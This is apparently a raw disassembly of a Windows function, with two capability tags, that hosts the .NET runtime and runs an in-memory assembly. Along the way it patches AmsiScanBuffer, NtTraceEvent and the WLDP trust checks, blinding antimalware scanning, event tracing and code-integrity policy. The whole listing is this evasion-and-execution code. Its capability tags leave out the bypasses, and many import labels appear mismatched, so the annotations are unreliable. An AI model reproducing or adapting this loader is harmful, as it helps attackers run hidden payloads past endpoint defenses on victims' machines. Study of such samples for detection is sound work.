Function at 0x140007ff0
Capabilities:
Load assembly via iassembly
Load windows common language runtime

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1b0
movaps xmmword [r11 - 0x38], xmm6
movaps xmmword [r11 - 0x48], xmm7
mov rax, qword [0x140282a80]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov r12, rdx
mov r13, rcx
xor esi, esi
test rcx, rcx
je 0x140008d11
test rdx, rdx
je 0x140008d11
mov dword [rsp + 0x108], esi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x58], rsi
mov qword [r11 - 0xf8], rsi
mov qword [r11 - 0xf8], rsi
mov qword [r11 - 0x100], rsi
mov qword [r11 - 0x100], rsi
mov qword [r11 - 0x108], rsi
mov qword [r11 - 0x108], rsi
mov qword [r11 - 0x110], rsi
mov qword [r11 - 0x110], rsi
mov qword [rsp + 0x68], rsi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xa8], xmm0
mov qword [r11 - 0x120], rax
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xa8], xmm1
mov qword [r11 - 0x120], rsi
mov r15d, 1
mov r14d, r15d
mov dword [rsp + 0xe8], esi
mov edx, r15d
lea rcx, [r11 - 0x130]
call fcn.14000c040
lea r8, [rsp + 0x70]
lea rdx, [0x140278aa0]
lea rcx, [0x140278b68]
call qword [sym.imp.mscoree.dll_CLRCreateInstance]
test eax, eax
js 0x1400083c9
mov rcx, qword [rsp + 0x70]
mov rax, qword [rcx]
lea rdx, [rsp + 0x68]
call qword [rax + 0x28]
test eax, eax
js 0x1400083c9
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
lea r9, [rsp + 0xe8]
mov r8, qword [rsp + 0xa8]
mov edx, r15d
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
test eax, eax
jne 0x1400082e2
nop dword [rax]
mov eax, dword [rsp + 0xe8]
cmp eax, r14d
jne 0x140008297
lea ecx, [r14 - 1]
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rax + rcx*8]
mov rax, qword [rcx]
lea r8, [rsp + 0x60]
lea rdx, [0x14027b5c8]
call qword [rax]
test eax, eax
jne 0x14000818d
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14000818d
mov rax, qword [rcx]
lea rdx, [rsp + 0x108]
call qword [rax + 0x50]
mov rbx, qword [rsp + 0xb0]
mov rdi, qword [rsp + 0xa8]
cmp rdi, rbx
je 0x1400081c9
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400081b0
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
add rdi, 8
cmp rdi, rbx
jne 0x1400081a2
mov rbx, qword [rsp + 0xb0]
mov rdi, qword [rsp + 0xa8]
sub rbx, rdi
and rbx, 0xfffffffffffffff8
xor eax, eax
mov rcx, rbx
rep stosb byte [rdi], al
cmp dword [rsp + 0x108], eax
jne 0x1400082e2
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rsp + 0x60], rsi
inc r14d
mov edi, r14d
mov rbx, qword [rsp + 0xb0]
mov rcx, rbx
mov r8, qword [rsp + 0xa8]
sub rcx, r8
sar rcx, 3
cmp rdi, rcx
jae 0x14000821f
lea rax, [r8 + r14*8]
jmp 0x14000826f
jbe 0x140008277
mov rax, qword [rsp + 0xb8]
sub rax, r8
sar rax, 3
cmp rdi, rax
jbe 0x14000824f
mov rdx, rdi
lea rcx, [rsp + 0xa8]
call fcn.14000c040
mov r8, qword [rsp + 0xa8]
jmp 0x140008277
sub rdi, rcx
lea r8, [rbx + rdi*8]
sub r8, rbx
xor edx, edx
mov rcx, rbx
call fcn.140037b60
lea rax, [rbx + rdi*8]
mov r8, qword [rsp + 0xa8]
mov qword [rsp + 0xb0], rax
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
lea r9, [rsp + 0xe8]
mov edx, r14d
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
test eax, eax
je 0x140008140
jmp 0x1400082e2
mov rdi, qword [rsp + 0xa8]
test eax, eax
je 0x1400082cf
mov rbx, qword [rsp + 0xb0]
cmp rdi, rbx
je 0x1400082cf
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400082be
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
add rdi, 8
cmp rdi, rbx
jne 0x1400082b0
mov rdi, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xb0]
sub rcx, rdi
and rcx, 0xfffffffffffffff8
xor eax, eax
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x60]
test rcx, rcx
jne 0x1400083a8
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x140008352
mov rax, qword [rsp + 0xb8]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008339
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f13
call fcn.14002e190
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0xb8], rsi
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x140008366
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rsp + 0xd0]
test rcx, rcx
je 0x14000837a
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x14000838e
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x1400083a1
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
xor eax, eax
jmp 0x140008d1a
mov rax, qword [rcx]
lea r9, [rsp + 0x58]
lea r8, [0x140278a48]
lea rdx, [0x140278a90]
call qword [rax + 0x48]
test eax, eax
jns 0x140008483
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x14000842b
mov rax, qword [rsp + 0xb8]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008412
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f13
call fcn.14002e190
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0xb8], rsi
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x14000843f
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rsp + 0xd0]
test rcx, rcx
je 0x140008453
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x140008467
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x140008d17
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
jmp 0x140008d17
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
js 0x140008e81
mov rdi, qword [rsp + 0x58]
mov rax, qword [rdi]
mov rbx, qword [rax + 0x68]
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x1400084ba
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rdi, qword [rsp + 0x58]
mov qword [rsp + 0xe0], rsi
lea rdx, [rsp + 0xe0]
mov rcx, rdi
call rbx
test eax, eax
js 0x140008e76
mov rdi, qword [rsp + 0xe0]
test rdi, rdi
je 0x140008edf
mov rax, qword [rdi]
mov rbx, qword [rax]
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x140008501
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rsp + 0xd8], rsi
lea r8, [rsp + 0xd8]
lea rdx, [0x140278a68]
mov rcx, rdi
call rbx
test eax, eax
js 0x140008e63
mov dword [rsp + 0x134], esi
mov dword [rsp + 0x130], r12d
mov ecx, 0x11
lea r8, [rsp + 0x130]
mov r14, r15
mov edx, r15d
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov r15, rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x78], rsi
test rax, rax
je 0x140008e4c
lea rdx, [rsp + 0x78]
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
test eax, eax
jne 0x140008e4c
mov r8, r12
mov rdx, r13
mov rcx, qword [rsp + 0x78]
call fcn.1400374c0
mov rcx, r15
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
lea rcx, str.amsi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000861a
lea rdx, str.AmsiScanBuffer
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x14000861a
mov qword [rsp + 0x98], rsi
mov dword [rsp + 0xc0], 0x70057b8
mov word [rsp + 0xc4], 0xc380
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov r9d, 6
lea r8, [rsp + 0xc0]
mov rdx, rdi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0x400
mov rdx, rdi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, [0x1400782a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140008692
lea rdx, str.NtTraceEvent
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rsp + 0xc0], rsi
test rax, rax
je 0x140008692
mov byte [rsp + 0xa0], 0xc3
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
mov r9, r14
lea r8, [rsp + 0xa0]
mov rdx, rdi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0x400
mov rdx, rdi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, str.wldp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x14000879f
lea rdx, str.WldpIsClassInApprovedList
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.WldpQueryDynamicCodeTrust
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rsp + 0xc0], rsi
test rbx, rbx
je 0x14000879f
test rax, rax
je 0x14000879f
mov dword [rsp + 0x170], 0x100c741
mov dword [rsp + 0x174], 0x31000000
mov word [rsp + 0x178], 0xc3c0
mov word [rsp + 0x98], 0xc031
mov byte [rsp + 0x9a], 0xc3
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
mov r9d, 0xa
lea r8, [rsp + 0x170]
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
mov r9d, 3
lea r8, [rsp + 0x98]
mov rdx, rdi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0x400
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov r8d, 0x400
mov rdx, rdi
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rdi, qword [rsp + 0xd8]
test rdi, rdi
je 0x140008f24
mov rax, qword [rdi]
mov rbx, qword [rax + 0x168]
mov rcx, qword [rsp + 0xd0]
test rcx, rcx
je 0x1400087cd
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rsp + 0xd0], rsi
lea r8, [rsp + 0xd0]
mov rdx, r15
mov rcx, rdi
call rbx
test eax, eax
js 0x140008e43
mov rdi, qword [rsp + 0xd0]
test rdi, rdi
je 0x140008f24
mov rax, qword [rdi]
mov rbx, qword [rax + 0x80]
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x14000881b
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rsp + 0xc8], rsi
lea rdx, [rsp + 0xc8]
mov rcx, rdi
call rbx
test eax, eax
js 0x140008e2c
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x48], rsi
mov eax, 0x2008
mov word [rsp + 0x80], ax
mov ecx, 8
call fcn.14002e14c
mov rdi, rax
mov qword [rsp + 0x170], rax
call fcn.1400219f4
mov ecx, dword [rax]
mov dword [rdi], ecx
mov dword [rdi + 4], esi
mov ecx, 8
mov r8, rdi
mov edx, r14d
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], rax
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xf0], xmm1
mov qword [rsp + 0x100], rsi
call fcn.1400219f4
mov ecx, dword [rax]
cmp ecx, 1
cmovl ecx, r14d
movsxd rdx, ecx
mov qword [rsp + 0x98], rdx
mov rax, qword [rsp + 0x100]
sub rax, qword [rsp + 0xf0]
sar rax, 3
cmp rdx, rax
jbe 0x14000890d
movabs rax, 0x1fffffffffffffff
cmp rdx, rax
ja 0x140008eea
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0xf0]
call fcn.14000aab0
mov dword [rsp + 0x98], esi
call fcn.1400219f4
mov ecx, dword [rax]
cmp dword [rsp + 0x98], ecx
jge 0x140008af5
call fcn.1400219fc
mov rcx, qword [rax]
movsxd rax, dword [rsp + 0x98]
mov rdx, qword [rcx + rax*8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rsi
mov qword [rsp + 0x128], rsi
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140008960
lea rcx, [rsp + 0x110]
call fcn.140002710
nop
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x138]
call fcn.140008f30
nop
lea rcx, [rsp + 0x138]
cmp qword [rsp + 0x150], 7
cmova rcx, qword [rsp + 0x138]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rdi, rax
mov qword [rsp + 0x170], rax
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r8, rax
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov rdx, qword [rsp + 0xf8]
cmp rdx, qword [rsp + 0x100]
je 0x1400089fb
mov qword [rdx], rdi
add qword [rsp + 0xf8], 8
jmp 0x140008a11
lea r8, [rsp + 0x170]
lea rcx, [rsp + 0xf0]
call fcn.140004d30
nop
mov rdx, qword [rsp + 0x150]
cmp rdx, 7
jbe 0x140008a59
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008ef0
call fcn.14002e190
mov qword [rsp + 0x148], rsi
mov qword [rsp + 0x150], 7
mov word [rsp + 0x138], si
mov rdx, qword [rsp + 0x128]
cmp rdx, 0xf
jbe 0x140008ab8
inc rdx
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ab3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008ef6
call fcn.14002e190
mov qword [rsp + 0x120], rsi
mov qword [rsp + 0x128], reloc.OLEAUT32.dll_SafeArrayDestroy
mov byte [rsp + 0x110], 0
inc dword [rsp + 0x98]
call fcn.1400219f4
mov ecx, dword [rax]
cmp dword [rsp + 0x98], ecx
jl 0x140008928
mov r14d, 1
mov ecx, 8
call fcn.14002e14c
mov qword [rax], 1
mov ecx, SafeArrayDestroy
mov r8, rax
mov edx, r14d
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov r14, rax
mov qword [rsp + 0x170], rax
mov dword [rsp + 0xc0], esi
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0xc0]
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x140008f19
mov rdx, qword [rcx]
mov rdi, qword [rdx + 0x128]
movups xmm6, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x110], xmm6
movsd xmm7, qword [rsp + 0x50]
movsd qword [rsp + 0x120], xmm7
lea r9, [rsp + 0x158]
mov r8, r14
lea rdx, [rsp + 0x110]
call rdi
test eax, eax
jns 0x140008d71
mov ecx, SafeArrayDestroy
xor r8d, r8d
xor edx, edx
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov rbx, rax
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x140008f02
mov rdx, qword [rcx]
mov rdi, qword [rdx + 0x128]
movaps xmmword [rsp + 0x110], xmm6
movsd qword [rsp + 0x120], xmm7
lea r9, [rsp + 0x158]
mov r8, rax
lea rdx, [rsp + 0x110]
call rdi
mov dword [rsp + 0x30], eax
test eax, eax
jns 0x140008d68
mov rcx, qword [rsp + 0xf0]
test rcx, rcx
je 0x140008c60
mov rax, qword [rsp + 0x100]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f0d
call fcn.14002e190
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], rsi
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x140008cc2
mov rax, qword [rsp + 0xb8]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ca9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008efc
call fcn.14002e190
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0xb8], rsi
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x140008cd6
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rsp + 0xd0]
test rcx, rcx
je 0x140008cea
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x140008cfe
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x140008d11
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov r15d, 1
mov eax, r15d
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.14002e100
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov rbx, qword [rsp + 0xf8]
mov rdi, qword [rsp + 0xf0]
cmp rdi, rbx
je 0x140008db2
nop dword [rax]
mov rcx, qword [rdi]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
add rdi, 8
cmp rdi, rbx
jne 0x140008da0
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x140008f19
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rsp + 0xf0]
test rcx, rcx
je 0x140008e2c
mov rax, qword [rsp + 0x100]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f0d
call fcn.14002e190
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], rsi
mov rcx, qword [rsp + 0xd0]
test rcx, rcx
je 0x140008f24
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, r15
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x140008f24
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x140008edf
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
call qword [rax + 0x58]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x140008352
mov rax, qword [rsp + 0xb8]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008339
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f13
jmp 0x140008339
mov ecx, 0x80004003
call fcn.140034600
nop
call fcn.140004ee0
nop
call fcn.14002189c
nop
call fcn.14002189c
nop
call fcn.14002189c
nop
mov ecx, 0x80004003
call fcn.140034600
nop
call fcn.14002189c
nop
call fcn.14002189c
nop
mov ecx, 0x80004003
call fcn.140034600
nop
mov ecx, 0x80004003
call fcn.140034600
int3